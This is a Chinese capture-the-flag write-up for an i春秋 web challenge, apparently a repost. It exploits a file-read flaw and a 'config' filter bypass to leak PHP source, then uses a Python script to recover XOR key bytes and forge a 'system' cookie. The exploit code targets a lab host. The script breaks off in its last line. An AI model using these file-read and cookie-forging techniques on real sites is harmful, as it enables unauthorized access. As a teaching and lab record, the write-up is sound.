i春秋-code(50分)-simple cy-re

時間 2020-08-09

標籤春秋 code 50分 simple 简体版

原文原文鏈接

0x00

點開http://20c4cbc67f924814a8c4311e37570acccb84c0de7f514885.changame.ichunqiu.com/index.php?jpg=hei.jpg連接是一張圖片，右鍵查看圖片信息和查看網頁源碼都看到了base64編碼後的字符串，將hei.jpg改成index.php（文件包含漏洞），右鍵查看源碼複製字符串進行解碼，獲得index.php:php

<?php
/**
 * Created by PhpStorm.
 * Date: 2015/11/16
 * Time: 1:31
 */
header('content-type:text/html;charset=utf-8');
if(! isset($_GET['jpg']))
    header('Refresh:0;url=./index.php?jpg=hei.jpg');
$file = $_GET['jpg'];
echo '<title>file:'.$file.'</title>';
$file = preg_replace("/[^a-zA-Z0-9.]+/","", $file);
$file = str_replace("config","_", $file);
$txt = base64_encode(file_get_contents($file));

echo "<img src='data:image/gif;base64,".$txt."'></img>";

/*
 * Can you find the flag file?
 *
 */

?>

View Code

觀察到代碼裏 Created by PhpStorm 和config被過濾了，百度搜索phpstorm和config(實際上是看wp知道的)，發現phpstorm創建項目是會自動生成.idea文件夾，存儲着一些配置信息，查看該文件夾內workspace.xml信息，http://20c4cbc67f924814a8c4311e37570acccb84c0de7f514885.changame.ichunqiu.com/./idea/workspace.xml，觀察到：html

剛纔查看index.php，知道config被過濾，且輸入文件的名字必須是隻能包括大小寫字母和數字，但咱們注意到config被替換成「_」,因此想查看f13g_ichunqiu.php可構造?jpg=fl3gconfigichuqiu.php,查看源碼base64解碼可獲得fl3g_ichuqiu.php的內容：python

<?php
/**
 * Created by PhpStorm.
 * Date: 2015/11/16
 * Time: 1:31
 */
error_reporting(E_ALL || ~E_NOTICE);
include('config.php');
function random($length, $chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz') {
    $hash = '';
    $max = strlen($chars) - 1;
    for($i = 0; $i < $length; $i++)    {
        $hash .= $chars[mt_rand(0, $max)];
    }
    return $hash;//結果是一串包含大小寫字母和數字的字符串，長度爲length
}

function encrypt($txt,$key){
    for($i=0;$i<strlen($txt);$i++){
        $tmp .= chr(ord($txt[$i])+10);//ord函數返回字符串的首個字母的ascii碼的值
    }
    $txt = $tmp;    //每一個加10
    $rnd=random(4);
    $key=md5($rnd.$key);    //隨機數+key哈希一下
    $s=0;
    for($i=0;$i<strlen($txt);$i++){
        if($s == 32) $s = 0;
        $ttmp .= $txt[$i] ^ $key[++$s];     //明文和key按位異或
    }
    return base64_encode($rnd.$ttmp);   //base64加密隨機數與按位異或後的結果
}
//解密過程，逆着寫一遍
function decrypt($txt,$key){
    $txt=base64_decode($txt);   //base64解密
    $rnd = substr($txt,0,4);    //獲得前四位的rnd
    $txt = substr($txt,4);      //獲得按位異或的結果
    $key=md5($rnd.$key);        //獲得按位異或的其中一個操做數

    $s=0;
    for($i=0;$i<strlen($txt);$i++){
        if($s == 32) $s = 0;
        $tmp .= $txt[$i]^$key[++$s];    //按位異或
    }
    for($i=0;$i<strlen($tmp);$i++){
        $tmp1 .= chr(ord($tmp[$i])-10);         //減10
    }
    return $tmp1;
}
$username = decrypt($_COOKIE['user'],$key);
if ($username == 'system'){
    echo $flag;
}else{
    setcookie('user',encrypt('guest',$key));
    echo "╮(╯▽╰)╭";
}
?>

View Code

一個加密函數，一個解密函數，加密的大體過程爲：base64encode(rand+md5(rand+keys)^(plaintext+10))，其中rand爲隨機生成的四個字符cookie

$username = decrypt($_COOKIE['user'],$key);
if ($username == 'system'){
    echo $flag;
}else{
    setcookie('user',encrypt('guest',$key));
    echo "╮(╯▽╰)╭";

注意到若當cookie中的user解密事後爲system時會輸出flag，因此咱們的目的就是獲得system加密後的結果，同時直接訪問獲得的cookie值爲guest加密後的結果，經過獲得的cookie值base64解密，而後與guest按位異或可獲得md5(rand+keys)（簡單的密碼學知識）,：app

# _*_ coding: utf-8 _*

from base64 import *
import requests
import string

url = "http://20c4cbc67f924814a8c4311e37570acccb84c0de7f514885.changame.ichunqiu.com/fl3g_ichuqiu.php"
cookie = requests.get(url).cookies['user']

txt = b64decode(cookie)
rnd = txt[:4].decode()
tmp = txt[4:].decode()

keys=list('123456')
guest = list('guest')
system = list('system')

for i in range(len(guest)):
    guest[i] = chr(ord(guest[i])+10)

for i in range(len(guest)):
    keys[i]=chr(ord(tmp[i]) ^ ord(guest[i]))
    #print(keys[i]) #md5後的結果,想裝個hashlib試試，網速太慢...

for i in range(len(system)):
    system[i] = chr(ord(system[i])+10)

letters='ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz'#第六位key的爆破字符
tmp_new = ''
cookie_system=[]
str1 = ''
for ch in letters:
    keys[5]=chr(ord(ch))
    #print(keys)
    for i in range(len(system)):
        tmp_new += chr(ord(system[i])^ord(keys[i]))
    str1 = bytes(rnd + tmp_new,'utf-8')
    cookie_system.append(b64encode(str1))
    #print(str(b64encode(str1)))
    tmp_new=''
    
for i in range(len(cookie_system)):
    cookies = {'user':cookie_system[i].decode()}
    #print(cookies)
    i=i+1
    res=requests.get(url,cookies=cookies)
    print(res.text)
    if 'flag' in res.text:
        print(res.text